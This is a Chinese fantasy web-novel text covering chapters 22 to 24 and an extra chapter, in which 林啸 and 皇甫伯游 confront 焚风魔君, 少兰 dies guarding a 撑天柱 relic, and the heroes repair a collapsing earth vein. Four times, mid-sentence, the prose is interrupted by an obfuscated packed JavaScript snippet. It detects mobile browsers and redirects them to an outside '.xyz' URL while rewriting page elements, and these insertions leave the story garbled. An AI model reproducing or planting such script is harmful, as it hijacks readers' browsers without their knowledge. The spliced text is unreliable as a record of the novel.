有了这群怨灵牵制,焚风魔君攻势更猛,转瞬便占据上风。皇甫伯游接连祭出雷火符,炽烈雷光与赤色火焰绞杀成片片怨影,但符纸终究有限。激战中一个疏神,焚风魔君的剑气如毒蛇般穿透防线,在他肩头撕开一道血痕。 辛青见状,忙问大家:“我们是否要去相助?” 渊卿传音:“时机未到,天狼大哥嘱咐我,须要等生死存亡之际,焚风魔君疏忽大意之时,我们才能一举击杀魔君。” 毕竟焚风魔君背后的魔将只是摄于威压屈服,倘若焚风身死,多半会趁机扩张势力,而不见得会为其报仇, 辛青目光落在皇甫伯游肩头渗出的鲜血上,指尖不自觉收拢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“伯游,你先安心服药疗伤,我去对付焚风魔君。”林啸话音未落,腰间长剑已龙吟出鞘。他足尖轻点虚空,正要化作流光掠去,却被皇甫伯游探出的手扣住腕脉。两人悬于半空僵持,罡风卷着衣袂猎猎作响。 “阿啸,你何必穿红衣来此……”皇甫伯游眸光沉肃,掌心灵力隐现,“太过冒险,我应付得来。” “伯游,我既来了,断没有中途离去的道理,你我兄弟就是要同生共死!”林啸豪气顿生、慨然说道,话音未落,他已迎着飞来的焚风魔君,横剑于前。 余光扫过剑身的刹那,林啸心头猛地一震——往日雪亮的霞光剑此刻通体墨黑,透着森然寒意,发出阵阵清越鸣响。他这才惊觉,自收纳涂山桥灵识后,两把神兵竟在不知不觉中融为一体。 22. 撑天 林啸没想到——手中的“霞光”剑竟褪去流彩,化作与涂山桥的‘吞月’剑如出一辙的墨色。 焚风魔君望着破空而来的红衣身影,怔怔地溢出破碎的低语。未等林啸开口,魔君突然反应过来,周身魔气暴涨,一只巨手骤然拍出。 虚空轰然震动,巨掌将林啸凌空托住。远处火长老见状,脸色剧变,失声喊道:“天罗掌!那是焚风魔君的绝杀秘术,一旦被困入掌心,任你有通天修为也难以挣脱,只需魔君五指收拢,顷刻间便会形神俱灭!” 林啸听闻此言,遂不在挣扎,迎面直视焚风魔君。 “谁也替代不了阿桥,你为何扮做他的模样?”焚风魔君狠厉问道。 “我并非要替代涂山桥,只是为他传句话。” “呵,可笑。”魔君冷笑,“阿桥离世前见的最后一人是本座,你又在何处见得他?”话音未落,林啸却敏锐察觉到天罗掌的压力悄然卸去三分,掌心魔气竟泛起细微的涟漪。 “焚风魔君,涂山桥是我的影身,我踏入魔宫寝殿后,他的灵识就自动汇入我的识海,我有他的全部记忆。他走的匆忙,让我代为传达两句话。”林啸朗声说道。 焚风魔君默不做声,但眼神分明透出几分期待, “涂山桥说,如今挣脱使命的枷锁,方知何为自在。”林啸顿了顿,声音不自觉放柔,“他希望你,莫要再执着于复活之事。” 焚风魔君一脸不可思议,痴痴说道:“不可能,阿桥怎能如此狠心?我一定要复活你!”随后又抬头看向林啸:“阿桥可还有其它话要说?” 林啸摇摇头。 焚风魔君沉声道:“你不是我的对手,但我不杀你,你先退后吧。” 林啸依言退到皇甫伯游身侧,轻声交代:“伯游,现下焚风魔君正伤感,魔功不稳,快去!” 皇甫伯游却叹息一声:“阿啸,我也有顾惊澜的记忆,你获得阿桥灵识后,当真不在乎焚风魔君死活?” 林啸在皇甫伯游耳侧低语:“涂山桥希望焚风魔君死……” “为何?”皇甫伯游十分不解。 林啸叹息一声,悠悠说道:“涂山桥其实动心了。” 皇甫伯游眉心紧拧,似在思索其中缘由,忽而想起什么,又问:“少兰呢?我还以为她定会放心不下,与你同来魔界。” 林啸望了望天上的星辰,“快来了。” 话音未落,远处骤然响起震天呼喝,一股磅礴威压如潮水般席卷而来。二人抬眸望去,只见原本肃立在焚风魔君身后的十二魔将,倏然腾空逼近。 林啸与皇甫伯游立即拔剑戒备,却见魔将们并未攻来,而是在焚风魔君四周结成阵势。 “上仙,可愿与我等携手?”远处传来两道声音。循声望去,灰袍人与紫袍人并肩而立,身后簇拥着黑压压的魔众。 “阴溟魔君、煞影魔君?”皇甫伯游沉声问道。 灰袍人微微颔首:“正是在下。我与煞影魔君受焚风魔君欺压已久,今日见上仙与这位红衣修士身先士卒,我等也想出一份力。” 焚风魔君仰头大笑,声震四野:“阴溟,你果然狼子野心!我早看透你的心思,只道凭你这点伎俩,还不敢公然背叛。没想到竟趁着我与皇甫伯游交手,行这偷袭之举!” 阴溟冷笑一声,眼中满是怨毒:“邢戚!你暴戾成性,视我等如草芥,动辄羞辱打骂。今日这报应,来得正是时候!”言罢,他抬手一挥,十二魔将立即结成阵势,将焚风魔君团团围住。 “人多又如何,本座一人就能抵千军万马!当年就不是本座对手,如今也不过是自寻死路!”焚风魔君面色森寒,双手翻飞间法诀变幻。刹那间,地面轰然开裂,无数白骨冲天而起,堆积如山。这些白骨竟自行拼凑重组,化作数十个白骨巨人,腾空而起,与魔将们战作一团。 阴溟魔君阴气翻涌,煞影魔君黑芒流转,皇甫伯游青阳剑寒光凛冽,林啸霞光剑气势如虹,四人结成合围之势,朝着焚风魔君发动猛攻。魔气与仙法轰然交击,半空炸开刺目强光。 正激战时,远处传来破空锐响——焚风魔君的心腹赶来驰援,却被九道金光拦住去路。九大长老结成天罡阵,金芒交织如网,将这群魔修死死困在阵中。 战场之上,嘶吼声与法术炸裂声交织,飞溅的血雾染红了半边魔天。不过片刻,众人身上皆是伤痕累累,绝大多数修士额间冷汗涔涔,神力几近枯竭,唯有皇甫伯游剑势依旧刚猛,焚风魔君周身魔气翻腾,二人竟仍维持着全盛之姿。 “焚风魔君!”一道洪亮女声穿透硝烟,“再这么打下去,不过两败俱伤。你若自愿封印在焚风洞,我等便留你一条活路!” 焚风魔君嗤笑一声,正要开口讥讽,目光却骤然凝固在少兰掌心。刹那间,他眼底的轻蔑化作惊惶,血色尽褪。 少兰掌心悬浮着一座微光流转的山形怪石,石纹间似有星芒明灭。 “这是撑天柱。”少兰声音清冷,“巫罗大人说过,盘古开天辟地后,身躯化作数根撑天柱镇压八荒,魔界也有三根。” “当年众神封印魔界,将此地撑天柱尽数沉入地底。从此魔界与世隔绝,出入口极少且难以寻觅。”少兰目光如炬,直逼焚风魔君,“可你担任魔君后,竟能撕开通往人间的边界——若非掌握了撑天柱的秘密,又怎会有这般手段?” 她抬手轻抚悬浮的怪石,冷笑道:“我早疑心,其中一根撑天柱就藏在焚风洞。往日洞里戒备极严,倒是你为了困住林啸,匆忙更改禁制,反倒给了我可乘之机。” 少兰手腕轻转,悬浮的怪石嗡鸣:“万年前罡风绞碎你的肉身,若不是蛊雕叼着你的身躯坠入焚风洞,你早该消散在天地间。想来这撑天柱与你命魂相连,一旦损毁……”她话音一顿,眼中泛起森然杀意,“你的人形,也该散成齑粉了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565309|170601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 众人闻言皆是一震,战场一时陷入死寂。谁能想到,焚风魔君与这小小撑天柱之间,竟藏着这般隐秘往事。 沉寂片刻,焚风魔君打破僵局,声音冷得像是淬了冰:“我可以回焚风洞,接受封印。但我有个条件。” 少兰眉峰微挑,不慌不忙道:“说来听听。” 焚风魔君猛然转头,眼瞳死死锁住林啸,一字一顿道:“让他随我一同进洞。” 阴溟魔君与煞影魔君对视一眼,爆发出刺耳大笑:“哈哈哈,看来魔宫里传的那些话,倒不是空穴来风!” 少兰面色一沉,厉声道:“他不是涂山桥!阿桥三日前就已经……”话音戛然而止,喉间泛起苦涩。 焚风魔君闻言,眸光微动,却又很快恢复冰冷:“我自然知道。正因他不是阿桥,我才要他同去——若是阿桥,我又怎舍得让他受苦?” 皇甫伯游剑眉紧蹙,语气凝重:“焚风魔君,阿啸是我至交好友,我岂会眼睁睁看着他涉险……”话音未落,林啸已伸手按住他握剑的手腕。 “伯游,我去。”林啸目光沉静,指尖微微用力,同时以神识传音:“撑天柱现世,阴溟与煞影定会伺机抢夺。你留在洞外护好少兰,莫让这两人趁机发难。” “可是……”皇甫伯游还欲争辩。 “撑天柱关乎天下苍生,伯游哥,你知道该如何取舍。”林啸拍了拍皇甫伯游的肩膀,温声安慰:“就凭我与涂山桥长得一样,焚风魔君也不会对我怎样。待此事告一段落,我再想办法破开禁制出去。” 林啸说完,毅然飞到焚风魔君身侧,却不意间看到皇甫伯游的眼眶微红。林啸还没见过好友如此委屈的模样,面上微微一笑:“伯游哥,你不是还有只小白老虎吗?若以后想我了,就把它当做我罢。” “你不是因为我有别的老虎生气吗?”皇甫伯游嗓音沙哑。 “我逗你的,我既然有别的人族朋友,你自然也可以有别的老虎。我辈修士,夺天地造化,与日月同寿,生命中怎会只有一个朋友?”林啸朗声安慰。 “磨蹭什么!”阴溟魔君面色不耐,扬声催促,“赶紧进焚风洞!邢戚,你还有什么遗言?” 焚风魔君冷笑:“我无论说什么,你们都会反其道而行之,何必白费口舌!” “算你识相。”阴溟魔君嗤笑一声,眼中闪过一丝得逞的快意。 …… 片刻后,其它五大魔君也赶来,连同魔界十几位长老。一起加固了焚风洞的封印。 皇甫伯游灵敏觉察到这几大魔君另有所图,待七大魔君散去,便化出个假身离开魔界,真身隐匿在少兰身侧。 少兰作为魔界长老,与同僚们闲话片刻,叙过旧情后,才从容起身,朝着自己的洞府飞去。 夜色如墨,少兰刚飞走没多远,两道黑影便如鬼魅般拦在去路中央,正是阴溟魔君和煞影魔君。 23. 终篇 “魅魔,交出撑天柱,饶你不死!” 少兰冷笑一声,裙摆猎猎作响:“你们往日咒骂邢戚暴戾,可一旦得到撑天柱,第一件事便是将其毁掉!为了杀死邢戚报仇,竟然置整个魔界于不顾!你们想过没有,撑天柱一旦被毁,地脉震荡引发的天灾,又会让多少魔界众生灵涂炭?”她的声音响彻空谷,字字如重锤,敲在两人心头。 “你以为我们在乎这所谓的道义?”煞影魔君冷笑,直驱少兰而来。不成想金光一闪,被一股强大的力量斥退。 “皇甫伯游!你没走?”阴溟魔君大惊,旋即狞笑出声,“不过无妨,我们早有准备!” 话音未落,另外五大魔君现身,七人将皇甫伯游和少兰团团围住。 七大魔君列阵,皇甫伯游刚与焚风魔君大战一场,法力还未恢复,被几人围困,不觉有些吃力。 另一边,少兰以一敌众,寻找撑天柱耗费太多法力,不过盏茶功夫,便被压制得节节败退,终于被擒住。 在场人见状,纷纷罢手。 “交出撑天柱,饶你性命!”阴溟魔君斥道。 少兰脖颈抵着寒光,却仰头大笑,声音清亮:“皇甫上仙,有些事该说个明白。当日焚风魔君炼化村民,是我让双鸾用本命铜镜造了影身。那些假村民杀了真身,从此只听我号令,不再受魔君摆布。” 她抹去嘴角血迹,目光坦荡:“后来你追查太紧,影身之事一旦暴露,全盘皆输。双鸾无奈之下,才用秘法炼化出顾惊澜——剩下的,你都清楚了。” 皇甫伯游眸光微黯,长叹出声:“少兰长老,这件事我早有推测。你我皆在局中,不过是身不由己。” “说得好!”少兰仰头大笑,染血的唇角扬起不羁弧度,“我少兰这辈子,为报仇使尽手段,却从未负过苍生大义!” 见她眼中闪过决然,皇甫伯游心头猛地一沉,剑眉骤拧:“你到底要做什么?!” 少兰指尖捻起一枚泛着莹润光泽的果实,果肉中灵气浓郁。她仰头将果实抛入口中,唇角勾起一抹释然的笑。 皇甫伯游瞳孔微缩,盯着那枚果实恍惚片刻:“这是……”记忆深处似有碎片闪过,却又抓不住头绪。 “寻木果实。”少兰摩挲着腰间储物袋,声音带着几分怅然,“巫罗大人早前赠予我的,说此果能封禁一切妖魔之力。吞下后,连这储物袋都再打不开了……” “坏我好事!”阴溟魔君骂骂咧咧,铁钳似的手狠狠卡住少兰脖子,指尖几乎要陷进肉里。他拼命摇晃,想把果子逼出来,可晚了——少兰嘴唇刚沾到果肉,整个人就像被点了穴。灰白纹路顺着皮肤疯长,连裙摆褶皱都僵在半空,成了尊没了生气的石像。 阴溟魔君试图扯下她腰间储物袋,指节因用力而发白。无论如何撕扯、用法术轰击,那袋子都如被山岳镇压般纹丝不动,只隐约透出一层寻木果实的幽光。 阴溟魔君暴跳如雷,甩手祭出金灿灿的大印,照着少兰石像狠狠砸去。千钧一发之际,皇甫伯游长剑出鞘,青光闪过,“当啷”一声将金印磕飞老远。 “死者为大!”皇甫伯游剑尖滴血,目光如刀扫过七位魔君,周身仙气骤然暴涨。 煞影魔君慌忙扯住阴溟魔君,赔着笑脸打圆场:“上仙息怒!咱们刚联手制住焚风魔君,实在没必要为这点小事伤了和气。” …… 几位魔君走后,皇甫伯游来到焚风洞前。 洞内,焚风魔君痴痴地盯着林啸,看了好久。 林啸被看得有些不自在,于是从储物袋里拿出了几个沙果,啃了起来。 “你的吃相不如阿桥斯文。”焚风魔君不满地点评说。 林啸用袖口胡乱抹了把嘴,这才恍然反应过来,憨憨一笑:“我竟忘了还穿着这身红衣。”话音未落,他三两下扯下外袍,随手一抛:“若你喜欢,拿去便是。” 焚风魔君眼疾手快接住衣衫,小心翼翼抱在怀中,声音不自觉放柔:“这可是阿桥的?” 林啸:“不是,借给我衣服的人叫辛青。” 闻言,焚风魔君像被烫着般,猛地将衣服甩在地上,满脸嫌恶:“为何不早说!” “你又没问过。”林啸憋着笑,弯腰捡起衣服,随手弹了弹灰尘,利落地塞回储物袋。 焚风魔君正要发作,地面突然剧烈震颤起来。洞顶碎石簌簌掉落,人鱼烛火也跟着明灭不定。 “出什么事了?”魔君脸色骤变,“莫不是那几个蠢货抢到撑天柱了?你家那位上仙,连这几人都拦不住?” “胡说!伯游厉害得很!”林啸脱口而出反驳,话出口才反应过来,自己也不确定伯游到底有没有拦住那几个魔君。 “阿啸——”洞外传来皇甫伯游清朗的声音:“这几位魔君抢夺撑天柱不成,居然想撅断焚风山地脉,以摧毁焚风魔君修为根基。” “什么?!”林啸没料到这几位魔君居然如此疯狂。 “呵,有好戏看了!”焚风魔君冷笑。 林啸眉头紧蹙:“地脉毁了你修为尽废,有什么可笑的?”洞顶碎石不断坠落,他却顾不上躲避,死死盯着魔君。 “告诉你们也无妨。”焚风魔君掸了掸衣袖,眼中闪过一丝阴鸷,“这焚风山地脉镇压着上万冤魂戾气。一旦地脉断裂,这些东西涌入魔界游荡,还不知会惹出多大的乱子!” 焚风魔君说完,扬眉笑着看向林啸,带着几分挑衅的意味。 林啸闻言,面色微变,神情郑重地看向焚风魔君:“所以邢戚,你滥杀无辜,与吸纳戾气的地脉也有关系?” 魔君先是一愣,随即嗤笑出声:“惺惺作态给谁看?地脉崩塌之时,最先被戾气撕碎的,就是困在这洞里的你我!” 林啸重重一叹:“邢戚,你那些狠辣手段,当真都是自己想做的?从你在焚风洞重生那日起,或许早就身不由己了。” “可笑!”焚风魔君冷笑,眼中尽是嘲讽,“我杀多少人、怎么杀人,何时轮到你指手画脚?” “与林啸无关,但与涂山桥有关。”林啸抬眼直视,洞内摇晃得厉害,他的声音却格外清晰,“涂山桥一直觉得,若你那些恶行不是本心,他就能……原谅自己爱过你。” “你说什么?!”焚风魔君踉跄半步,脸上血色尽褪。刹那间,惊异、狂喜、懊悔、眷恋交织翻涌,眼底泛起从未有过的波澜。 林啸沉默着颔首。 洞外轰鸣震得岩壁簌簌掉渣,焚风魔君却突然仰头大笑,笑声震得人鱼烛剧烈摇晃:“好!就算你不是阿桥,本座也不能任你去死!”他猛地转身冲向洞口,声如裂帛:“皇甫伯游!你我联手,先封住地脉!” “好!”皇甫伯游声如洪钟,洞外轰鸣中仍字字清晰,“戾气冲破封印,众多长老为护住无辜魔众,正在强行吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565310|170601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纳!但这法子撑不了多久!” …… 片刻间,焚风魔君周身魔气与皇甫伯游仙气相融,二人合力撕开一道灵力屏障。待封印解除,皇甫伯游身影一闪便出现在洞内。焚风魔君顾不上喘息,直接开口:“要镇压地脉,你我必须从洞内跳入熔岩,顺着地脉,运法力修复破损处即可。” “好!”皇甫伯游神色未变,应得干脆。 焚风魔君眉头微皱:“地火凶猛,修复地脉可能会耗尽法力,此番前去九死一生。” “既已决定,何须多言。”皇甫伯游语气淡然。 林啸突然上前,紧紧攥住他的手:“伯游,我陪你。” 焚风魔君与皇甫伯游对视一眼,林啸知道两人在暗中传音,却不知在说什么。 下一秒,皇甫伯游猛地将他拽入怀中,温热的呼吸扫过耳畔:“阿啸,我……真舍不得你。” 话音未落,一股大力骤然袭来,林啸踉跄着跌出洞口。回头时,只见青光如幕轰然落下,高阶禁制将洞口封得严丝合缝,任凭他如何捶打,也只在屏障上激起层层涟漪。 …… 林啸发疯似的捶打着禁制,指节渗出鲜血也浑然不觉。悔恨如潮水般涌来——若平日里再勤勉些,此刻何至于冲不破太乙金仙境,连一道屏障都闯不过?可无论他如何运功冲击,那层青光始终纹丝不动。 无奈之下,他跌跌撞撞往山下飞去,想寻魔界长老帮忙。然而刚到山脚,却发现魔界的长老们不太对劲。 他们吸入了太多戾气,此时被仇恨蒙蔽了双眼,忘记了自己来焚风山的初心。 “皇甫伯游在哪里?!他杀了我师父!我要为师父报仇!”火魔、金魔、毒魔恶狠狠喊到。 相较之下,水、土、木三位长老虽稳住身形,却也面色惨白,周身灵力疯狂翻涌,显然在竭力压制体内乱窜的戾气。东方恪与辛青已盘腿坐在地上,眉头紧皱,额间浮现金色咒文,正全力化解戾气的侵蚀。 林啸望着眼前混乱的场面,后背发凉。万年来积压的冤魂戾气竟如此可怖,怪不得焚风魔君动辄屠戮,原来这股邪念,早已渗入骨髓。 林啸正想着,周遭震颤的大地突然平稳下来,空中游荡的大部分戾气也逐渐回归地下。 一时间,天朗气清,日月复位,星辰归序。 林啸失神的看着辛青和东方恪收功起身,不知不觉,一个晶莹的泪珠从脸上滑落。 “诶?你怎么在这里?”辛青看到林啸,走过来问,“你不是被焚风魔君抓进了山洞吗?” 林啸没听清辛青说什么,看他走近,才反应过来,僵硬地将红衣从储物袋拿出来,递给对方。 “噢,我差点忘了。”辛青一把扯过外套披上,“是不是地脉受损,所以封印打开了?焚风魔君和皇甫上仙呢?” 东方恪轻扯辛青的袖口,目光朝林啸示意。辛青这才注意到对方肩头微微发颤,泪水正一滴接一滴砸在衣襟上。 辛青敛了几分急切,声音放软:“道友若不嫌弃,不如到我府上歇脚?” 林啸望着焚风洞方向,喉间溢出破碎的低语:“地脉没有异动……伯游和焚风魔君,怕是都回不来了。” 他抬手抹了把脸,将酸涩咽进肚里,朝二人抱拳行礼:“我得去天界一趟,告辞。”话音未落,身影已化作流光远去,只留下簌簌飘落的枯叶在原地打着旋儿。 24. 番外 天马山洞府,林啸在洞内修理斜织机,他遣散了洞中小妖,但收留的孤女却必须有个营生。 这斜织机是人间近年流行的织布机,比旧款省力许多,林啸去人间订做了多件,正在修理其中的一架。 “大王,姐妹们现在织布越来越好了,去甘州城卖得价钱也不错。”一旁认真观察林啸修理织布机的红衣女子说道。 “那就好。”林啸舒了口气,“崔三娘,你把桌案上的荷包分给姑娘们,每人十两金子,三张护身符。这些家当,可保大家余生衣食无忧,平安无恙。” 崔三娘扑腾一声跪下,“大王,您当真要离开么?” 林啸无奈,连忙扶崔三娘起来。人生苦短,涂山桥和少兰对这些凡间女子有救命之恩,他不想把两人死讯告诉大家,徒增烦恼。 但眼下还有更重要的事,更何况魔界七大魔君还在追查他的下落,一直留在天马山,是害了大家。所以这些人,非遣散不可。 “我确实非走不可,天马山也不是凡人久居之地……” “美人儿,你真要走?”一道清朗的声音从洞外传来,来人一身蓝色长衫,拎着一坛酒,大步流星走了过来。 “小春?你怎么又来了?”林啸几百年前救过幼时的西门春,这半年来,在涂山桥的洞府,西门春总是隔三差五来串门,每次都带着好酒好菜,林啸怕洞中女子听到,从未否认自己是涂山桥。 “美人儿,你这一年来怎么回事?是不是有什么心事?”西门春打开塞子,给林啸倒上一杯并笑嘻嘻地递过去。 林啸对崔三娘对了个眼色,对方皱着眉拿起荷包退出洞外。 林啸一挥手,洞口青色符文显现,隔音屏障落下。 “小春,我不是涂山桥。”林啸正色说道。 西门春将杯中美酒一饮而尽,挑眉看向林啸:“除了美人儿,谁还能生得这般绝色。” 林啸实在不明白当年那么单纯可爱的小豹子怎么变成这样,想来此刻遣散这些女子后,也没必要再隐瞒。 “小春,我是你林大哥,林啸。” 西门春瞪大眼睛,脸上的笑容也凝固了,“林大哥,你为何冒充阿桥?” …… 林啸将事情大概讲述完,盯着西门春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574434|170601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛说:“小春,涂山桥的记忆告诉我,你一直暗地里给魔界报信,但我猜测,你背后不是焚风魔君,而是长老会,对不对?” 林啸本来不擅长揣测人心,权谋应断,可自从融合涂山桥记忆后,脑子似乎灵光了许多。 西门春还沉浸在涂山桥去世的震惊里,闻言只是默默点头。 “小春,皇……顾惊澜已陨落,邢……焚风魔君已离世,林大哥需要你帮个忙。”林啸目光低垂说道。 “既然是林大哥相托,小春荣幸之至。”西门春知道眼前人是林啸后,言语间恭谨许多,只是一时半会儿从涂山桥离世的消息中走不出来,声音有些嘶哑。 “第一,这封信交给天琅大哥。你提我的名字,他一定会接下。” “第二,顾盟主离世前将储物袋交给我,其中有他的不少信物,魔君已死,我们选个日子召集盟内兄弟,解散焚天盟罢。” 西门春虽爽快应下,面色仍有疑虑,似乎是对于林啸竟认识这两人很意外。 林啸不愿解释。自从皇甫伯游离世后,他变得越来越沉默寡言,故而并未解释其中缘由。